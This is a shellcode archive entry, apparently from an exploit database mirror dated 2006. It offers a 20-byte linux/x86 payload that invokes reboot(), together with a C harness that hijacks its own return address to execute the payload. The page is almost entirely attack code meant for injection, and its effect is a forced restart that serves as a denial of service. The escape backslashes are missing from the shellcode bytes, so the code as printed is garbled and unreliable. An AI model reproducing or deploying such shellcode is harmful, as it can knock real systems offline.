[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 reboot() - 20 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 setreuid(0, 0) + execve(/bin/sh) 31 bytes
# Next Title : linux/x86 execve(/bin/sh) / PUSH - 23 bytes
/*
* (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax58" // push $0x58
"x58" // pop %eax
"xbbxadxdexe1xfe" // mov $0xfee1dead,%ebx
"xb9x69x19x12x28" // mov $0x28121969,%ecx
"xbax67x45x23x01" // mov $0x1234567,%edx
"xcdx80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]